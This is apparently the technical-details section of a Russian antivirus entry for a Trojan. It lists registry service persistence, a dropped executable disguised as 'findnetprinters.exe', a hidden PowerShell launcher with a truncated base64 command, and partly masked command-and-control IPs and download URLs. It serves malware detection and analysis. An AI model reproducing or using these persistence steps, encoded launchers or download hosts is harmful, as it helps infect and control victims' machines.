Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\findnetprinters] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\findnetprinters] 'ImagePath' = '"%WINDIR%\SysWOW64\wlansec\findnetprinters.exe"'
- 'findnetprinters' "%WINDIR%\SysWOW64\wlansec\findnetprinters.exe"
- 'findnetprinters' %WINDIR%\SysWOW64\wlansec\findnetprinters.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABoAGEAaQBuAHkAbwB1AGgAdABpAGUAbgA9ACcAcQB1AGEAbwBxAHUAcwBpAG8AcQB1AGYAdQBtAGoAdQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQBSAEkAdABZAH...
- %HOMEPATH%\833.exe
- %WINDIR%\syswow64\wlansec\findnetprinters.exe
- %HOMEPATH%\833.exe в %WINDIR%\syswow64\wlansec\findnetprinters.exe
- '94.##.254.194':80
- http://www.su###hoes.com/wp-includes/qf1/
- http://94.##.254.194/CKdhTKSXtQiCYqW/WpbIMFHErpkitql/
- DNS ASK su###hoes.com
- '%HOMEPATH%\833.exe'
- '%WINDIR%\syswow64\wlansec\findnetprinters.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABoAGEAaQBuAHkAbwB1AGgAdABpAGUAbgA9ACcAcQB1AGEAbwBxAHUAcwBpAG8AcQB1AGYAdQBtAGoAdQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQBSAEkAdABZAH...' (со скрытым окном)